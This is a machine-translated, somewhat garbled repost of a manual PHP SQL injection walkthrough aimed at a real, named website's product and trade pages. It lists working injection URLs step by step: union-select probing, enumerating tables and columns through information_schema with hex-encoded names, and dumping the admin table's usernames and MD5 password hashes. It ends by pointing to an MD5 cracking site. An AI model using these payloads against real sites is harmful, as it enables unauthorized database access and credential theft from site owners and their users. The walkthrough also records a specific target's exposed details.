Php manual injection

Source: Internet
Author: User
Php manual injection http://www.rfidchina.org/products/product.php? Id = 9740

After 'is added to the URL, the returned page does not contain any error information, and content is missing due to a page error,

Then there is and 1 = 1 and 1 = 2, which are the normal information and the 'page respectively. a negative number "-" is added before 9740, which makes no sense, and 1 = 2, error,
Http://www.rfidchina.org/products/product.php? Id =-9740

Then the union select joint selection ...... Finally
Http://www.rfidchina.org/products/product.php? Id =-9740 + union + select +
The pages, are displayed on the page.

Because space and + play the same role, and space will change to % 20, use + to see more clearly.

User () obtains the username, version (), and database () of the connected database.
Http://www.rfidchina.org/products/product.php? Id =-9740 + union + select + 1, user (), version (), database (),
We know that the above are root @ localhost, 5.1.24-rc-log, bussiness (database name)

GROUP_CONCAT () lookup table
Http://www.rfidchina.org/trade/trade.php? Id =-9740 + and + 1 = 2 + union + select +, GROUP_CONCAT (DISTINCT + table_name ),

4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 + from + information_schema.columns + where + table_schema = 0x62757372136e657373
?? 0x62757372136e657373 is the HEX code of bussiness. However, nothing is returned, and the display bit is not displayed.

Use or 1 = 1, or 1 = 2,
Http://www.rfidchina.org/trade/trade.php? Id = 9740 + or + exists (select + * + from + admin)
The page with or 1 = 1 is returned successfully. it seems that there is an admin table,

Then I guess the name of the column. admin failed. it was the page at 'and I tried username again. it was very successful.
Http://www.rfidchina.org/trade/trade.php? Id = 9740 + or + exists (select + username + from + admin)

The password is listed. you can find information on the Internet, such as hex () and unhex (). So I went back to the starting method...

Http://www.rfidchina.org/trade/trade.php? Id =-9740 + union + select +, GROUP_CONCAT (DISTINCT + unhex (hex (table_name ))),

4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 + from + information_schema.columns + where + table_schema = 0x62757372136e657373
Now all the tables are exposed, and the admin table is displayed at a glance.

Http://www.rfidchina.org/trade/trade.php? Id =-9740 + union + select +, GROUP_CONCAT (DISTINCT + unhex (hex (column_name ))),

4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 + from + information_schema.columns + where + table_name = 0x61646D696E
Finally, we can see username and passwd.
?? 0x61646D696E is the HEX code of admin.

Http://www.rfidchina.org/trade/trade.php?

Id =-9740 + union + select + 1,

GROUP_CONCAT (DISTINCT + username), GROUP_CONCAT (DISTINCT + passwd ),

4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 + from + bussiness. admin
The username and passwd fields are displayed in the 2 and 3 display bits.
The password is md5, in the http://www.md5.com.cn/password.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.